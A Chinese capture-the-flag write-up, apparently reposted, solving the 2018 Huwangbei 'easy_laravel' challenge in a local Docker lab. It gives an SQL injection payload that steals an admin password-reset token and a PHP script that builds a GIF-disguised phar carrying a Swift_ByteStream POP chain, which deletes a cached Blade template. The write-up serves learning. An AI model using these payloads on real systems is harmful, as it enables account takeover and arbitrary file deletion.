内容简介:感觉这道题,出的,非常妙参考出题人的博客 https://qvq.im/post/%E6%8A%A4%E7%BD%91%E6%9D%AF2018%20easy_laravel%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95但是自己太菜了。只能跟着大佬的步伐在后头摸索
零 前言
感觉这道题,出的,非常妙
参考出题人的博客 https://qvq.im/post/%E6%8A%A4%E7%BD%91%E6%9D%AF2018%20easy_laravel%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95
但是自己太菜了。只能跟着大佬的步伐在后头摸索
1. 安装
git clone https://github.com/sco4x0/huwangbei2018_easy_laravel docker build
之后我在dockerUI里面启动了。没有什么问题,感谢出题人提供环境
2. 基本知识点
说实话我也没有如何用过composer
唯一的时间就是研究 jwt 的时候用composer下了些第三方库
一. 基础审计工作
登录页面F12拿部分源码
<!-- https://github.com/qqqqqqvq/easy_laravel -->
之后composer install 。代码就完整了。
php astrisan route:list 看一波路由。当然route部分也可以看到。
也许HTTP的文件夹就类似于django的app文件夹。里面放了相关的中间件。同时也可以看到一些权限控制的内容。
admin中间件
在adminMiddleware 的地方,可以找到admin的中间件,判断条件是admin的邮箱是否为admin@qvq.im。
public function handle($request, Closure $next) { if ($this->auth->user()->email !== 'admin@qvq.im') {
register控件
在registerController 的地方,可以找到注册的步骤,可以看到密码是被特殊加密过的,显然不可能通过注入来找到原来的密码
protected function create(array $data) { return User::create([ 'name' => $data['name'], 'email' => $data['email'], 'password' => bcrypt($data['password']), ]); }
SQL注入
在noteController 的地方,可以找到一个很明显的 sql 注入,通过注入 admin'# 的用户名即可在查询的时候查到admind的内容
public function index(Note $note) { $username = Auth::user()->name; $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'"); return view('note', compact('notes')); } }
重置密码的操作
这里要跟踪看 laravel 的源码
public function showResetForm(Request $request, $token = null) { return view('auth.passwords.reset')->with( ['token' => $token, 'email' => $request->email] ); }
需要email 和 token 才行。token放在password_reset里面,email在注册的时候有。那么是如何重置的呢?
当点击重置的时候会触发 resetPasswordController
use SendsPasswordResetEmails;
在检测是否存在后会返回token并写入库中
protected function getPayload($email, $token) { return ['email' => $email, 'token' => $token, 'created_at' => new Carbon]; }
数据库结构
在database的文件夹下可以找到数据库的自动化生成文件。(这个和django比较类似—)
不过有坑点是这里的列名和实际环境中的不太一致
user 6列
Schema::create('users', function (Blueprint $table) { $table->increments('id'); $table->string('name'); $table->string('email')->unique(); $table->string('password'); $table->rememberToken(); $table->timestamps(); });
password reset 3列
Schema::create('password_resets', function (Blueprint $table) { $table->string('email')->index(); $table->string('token')->index(); $table->timestamp('created_at')->nullable(); });
note 4列
Schema::create('notes', function (Blueprint $table) { $table->increments('id'); $table->string('content'); $table->string('author'); $table->timestamps(); });
二. SQL注入拿管理员token
OK 现在目标很明确了,通过注入拿到管理员的token和email就可以了,那么如何拿呢?
首先,如果直接注入,注册用户
admin' or 1=2 union select 1,(select group_concat(token from password_resets),3,4,5#
是无法拿到token的。很简单,你还没发token了嘛~(由于没截图所以直接说了。)
是很简单,这里需要先登录出去,然后用admin的邮箱发一个resetpassword 的邮件,当然这会返回错误,因为这个 docker 不可能有邮箱功能,有也收不到。
不过token已经入数据库了,此时将token就可以注入出来了。
f8f63b51d1fe1616f1f12661c78a8a8cd25d2e58ae2466631649f6e6bc258c21
之后根据路由表,访问
/password/reset/<token>的链接
即可重置密码,第一部分结束
三. blade 模板
nginx的默认配置
之前用假的admin身份登录的时候有个一个信息也很gau关键
nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的
代表着nginx用的默认配置,或者说web的根目录是
/usr/share/nginx/html # 验证一下确实如此 root@shaobao-Precision-3510:~# docker exec 2230145add77 ls /usr/share/nginx/html/ app artisan bootstrap composer.json composer.lock
flag没了?
之前,在flagController中,有这样的内容;而view中的模板会将flag的内容打印出来。
public function showFlag() { $flag = file_get_contents('/th1s1s_F14g_2333333'); return view('auth.flag')->with('flag', $flag); }
也就意味着,原本点击flag的内容,应该就会直接出现flag。但是这里并非如此,而是显示no flag
blade 模板 与 缓存
根据提示的内容,不难发现是缓存文件在作怪。
题目给出了提示是pop chain | blade expired | blade 模板
Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。
引用出题人的话,就是说:
在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views中,而编译后的文件存在过期的判断。
而在 Illuminate/View/Compilers/Compiler.php
中可以看到
/** * Determine if the view at the given path is expired. * * @param string $path * @return bool */ public function isExpired($path) { $compiled = $this->getCompiledPath($path); // If the compiled file doesn't exist we will indicate that the view is expired // so that it can be re-compiled. Else, we will verify the last modification // of the views is less than the modification times of the compiled views. if (! $this->files->exists($compiled)) { return true; } $lastModified = $this->files->lastModified($path); return $lastModified >= $this->files->lastModified($compiled); }
对此,我特地去看了看docker里的缓存文件到底是什么。很显然,其内容就是no flag。造成这样的原因,就是有这个缓存文件的存在,覆盖了原本的flag.php
root@shaobao-Precision-3510:~# docker exec 2230145add77 cat /usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php <?php $__env->startSection('content'); ?> <div class="container"> <div class="row"> <div class="col-md-8 col-md-offset-2"> <div class="panel panel-default"> <div class="panel-heading">Dashboard</div> <div class="panel-body"> no flag </div> </div> </div> </div> </div> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.app', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
那么这个文件名是从何而来的呢?
在 /vender/bootstrap/cache/compile.php
下,有告诉你这个是如何算出来的。
public function getCompiledPath($path) { return $this->cachePath . '/' . sha1($path) . '.php'; }
而这个 path
就是模板文件的真实地址。实际上可以把它理解未django里面的template目录下,用jinja2语法写的模板文件。我们注意到,在给的代码中,其模板文件的地址是:
resources/views/auth/flag.blade.php
所以真实的文件路径应该是
/usr/share/nginx/html/resources/views/auth/flag.blade.php sha1() ==> 34e41df0934a75437873264cd28e2d835bc38772 OK 和我们之前docker中看的文件一致。
所以,总结下来,我们要做的事情如下
- 通过upload 上传一个奇怪的东西
- 通过这个奇怪的东西来删除缓存文件。
四. popchain 与 phar 伪协议
微笑老哥给我发东西的时候我正好做到这里,之前做WhaleCTF中级题目的时候。接触过phar的东西。在此不多赘述。
有兴趣的话,可以看看微笑的文章 https://www.liuxianglai.top/?p=364
我们知道 phaer 文件是以序列化形式存储的。当解析它的时候,必然会用到反序列化的一些魔术方法。受影响的函数包括
在uploader控件的地方,注意到一个函数。file_exsits 。这就是phar文件的跳板。
- 尽管我们有代码了,并且已知上传路径了,但是文件是不可以直接访问的。因为这个php模板已经严格控制了路由。
- 同时,我们注意到,有一个隐藏的path参数,可以让我们来控制 路由,
- 另外检验文件类型的函数是获取文件头,这也是为什么之后的payload中要加入文件头的原因。
OK,接下来是要去找哪里有删除的函数 unlink
或者 __destroy__
了。
利用phpstrom全局搜索可以找到它。注意必须找到一个带有 删除文件功能的析构函数
OK 我们找到了 Swift_ByteStream_TemporaryFileByteStream 这个类,里面有让我们心动的__destruct和unlink函数。仿佛就是为这个题目量身定做的。
之后,我们生成一个 phar文件,别忘了开启php.ini中的设置
<?php include('autoload.php'); $a = serialize(new Swift_ByteStream_TemporaryFileByteStream()); var_dump(unserialize($a)); var_dump($a); # 这个函数很有趣,$_path 也就是删除的目录是可以自己制定的,将这里面的内容换成我们想要的内容,就可以删掉flag的缓存文件。 $a = preg_replace("/\/tmp\/FileByteStream[\w]{6}/","/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); $a = str_replace('s:25', 's:90', $a); # 这里将 _path 的内容修改掉 $b = unserialize($a); $p = new Phar('./shell.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头 $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering(); rename('shell.phar', 'shell.gif') ?>
OK,这样我们就有一个phar文件了。虽然被限制了路由,但是可以通过真实的路由去访问它。
「这道题能不能webshell呢?」
我觉得不行,之前已经说过了。那个文件是不能通过web来访问的,包括资源也是。webshell也自然不行了。
五. char 协议删除模板文件
上传文件后,加入path参数来触发函数,即可完成删除。
注意最后的文件名是拼接的,实际的路径是
phar:///usr/share/nginx/html/storage/app/public/shell.gif
反序列化的过程中,触发了我们藏在里面的 析构函数,之后又删除了模板文件。
如你所见,现在的缓存模板被刷新了,flag就能正常显示了
root@shaobao-Precision-3510:~# docker exec 2230145add77 cat ./storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php <?php $__env->startSection('content'); ?> <div class="container"> <div class="row"> <div class="col-md-8 col-md-offset-2"> <div class="panel panel-default"> <div class="panel-heading">Dashboard</div> <div class="panel-body"> <?php echo e($flag); ?> </div> </div> </div> </div> </div> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.app', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>r
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C算法(第二卷:图算法)(第3版)
塞德威克(Sedgewick Robert) / 周良忠 / 第1版 (2004年1月1日) / 2004-4 / 38.0
《C算法(第2卷)(图算法)(第3版)(中文版)》所讨论的图算法,都是实际中解决图问题的最重要的已知方法。《C算法(第2卷)(图算法)(第3版)(中文版)》的主要宗旨是让越来越多需要了解这些算法的人的能够掌握这些方法及基本原理。书中根据基本原理从基本住处开始循序渐进地讲解,然后再介绍一些经典方法,最后介绍仍在进行研究和发展的现代技术。精心挑选的实例、详尽的图示以及完整的实现代码与正文中的算法和应用......一起来看看 《C算法(第二卷:图算法)(第3版)》 这本书的介绍吧!